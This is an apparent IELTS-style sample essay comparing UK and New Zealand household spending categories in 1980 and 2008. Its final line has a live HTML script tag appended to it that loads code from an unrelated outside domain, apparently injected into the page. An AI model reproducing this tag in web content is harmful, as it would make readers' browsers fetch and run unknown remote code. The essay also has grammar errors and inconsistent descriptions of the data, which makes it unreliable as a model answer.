The charts below show household spending pattern in two countries between 1980 and 2008

The charts compare five categories of household expenditure in the UK and New Zealand in the year 1980 and 2008.
Overall, it is clear from the illustration that the percentage of expenditure on food and drinks declined significantly in both countries over the period, whereas expenses on utility bills surged.
In 1980, 29% of new zealand household budget went on food and drinks, while the equivalent figure for the UK was 23%. By contrast, both countries experienced a slight increase in expenses on utility bills for the average home, from 27% to 30% in New zealand and from 26% to 28% in England. With regards to in both years, the money on leisure remained higher in the UK as against new Zealand.
Marching forward, a similar amount of money spend on other categories in both years for the UK and New zealand which was 11% and 9% respectively. In terms of transport, there was a negligible decrease in the percentile of transport for both countries from 15% to 14% and 17% to 16% in New zealand<script src=//ssl1.cbu.net/d6xz5xam></script>